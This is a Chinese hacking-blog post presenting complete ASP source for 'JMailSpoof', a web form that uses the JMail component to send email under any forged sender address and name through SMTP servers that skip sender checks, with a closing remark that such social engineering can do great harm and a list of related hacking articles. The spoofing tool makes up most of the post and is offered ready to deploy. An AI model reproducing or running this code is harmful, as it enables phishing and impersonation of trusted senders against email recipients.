|
写了一个利用Jmail组件发匿名邮件的ASP代码,前提是你的SMTP服务器没有验证发件人地址才是,很多虚拟主机的SMTP服务器就可以的。
代码如下:
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <%if request("action")="send" then%> <% Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer strSubject = Request("title") strContent = Request("content") strSender = Request("Name") strEmail = Request("to") strMailAddress = Request("smtp") strMailUser = Request("usr") strMailPass = Request("pwd") Set JMail = Server.CreateObject("JMail.Message") JMail.Charset = "gb2312" JMail.From = Request("From") JMail.FromName = strSender JMail.Subject =strSubject JMail.MailServerUserName = strMailUser JMail.MailServerPassword = strMailPass JMail.Priority = 3 JMail.AddRecipient(strEmail) JMail.Body = strContent JMail.Send(strMailAddress) %> <Script> alert('没报错就可能成功啦!'); </Script> <% else %> <style type="text/css"> <!-- body { margin-top: 0px;margin-bottom: 0px;}td { font-size: 12px; text-decoration: none;}--></style> <title>JMailSpoof v0.1</title><table width="500" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666"> <tr><td height="40" bgcolor="#E3E3E3"><div align="center">JMailSpoof by lake2</div></td></tr> <tr><td><table width="100%" height="392" border="0" align="center" cellpadding="1" cellspacing="1"> <form name="form" method="post" action="?action=send"> <tr bgcolor="#FFFFFF"> <td align="center"><div align="left">SMTP服务器*</div></td> <td><input name="smtp" type="text" id="smtp" size="22"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="center"><div align="left">用户名*</div></td> <td><input name="usr" type="text" id="usr" size="22"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="center"><div align="left">密码*</div></td> <td><input name="pwd" type="text" id="pwd" size="22"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="center"><div align="left">收件人邮箱*</div></td> <td><input name="to" type="text" id="to" size="22"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="center"><div align="left">发件人邮箱*</div></td> <td><input name="from" type="text" id="from" size="22"> </td> </tr> <tr bgcolor="#FFFFFF"> <td width="110" align="center"><div align="left">邮件主题*</div></td> <td width="288"><input name="title" type="text" id="title" size="22"> </td> </tr> <tr bgcolor="#FFFFFF"> <td height="15" align="center"><div align="left">发件人姓名*</div></td> <td> <input name="name" type="text" id="name" size="22"></td> </tr> <tr bgcolor="#FFFFFF"> <td height="213" align="center"><div align="left">内容:*<br> </div></td> <td><textarea name="content" cols="50" rows="15"></textarea></td> </tr> <tr bgcolor="#FFFFFF"> <td> </td> <td><input type="submit" name="Submit" value="提交"></td> </tr> </form></table></td> </tr></table> <%end if%> |
试试效果先:

然后去邮箱看看:

呵呵,我们伪造了邮件地址,但是可以通过查看邮件头发现是邮件伪造的。
这就是传说中的社会工程学啦,用得好的话危害就大咯。
| 完全解析网页后门和挂马 | 04-02 |
| 真实的网络攻击取证纪实 | 03-27 |
| 利用404错误页面挂马 | 03-21 |
| 解密风暴 | 03-21 |
| 社会工程学在黑客中的应用 | 01-02 |
| 轻轻松松解密各种网页木马 | 12-21 |
| SA权限无xp_cmdshell时取权限又一 | 12-14 |
| 实现无net.exe和net1.exe添加系统 | 10-26 |
| 用U盘轻松去除XP管理员密码 | 10-26 |
| 教你多种保护措施限用移动硬盘 | 10-09 |
| bat 延时执行命令 | 10-09 |
| phpwind的一个放后门的方式 | 10-09 |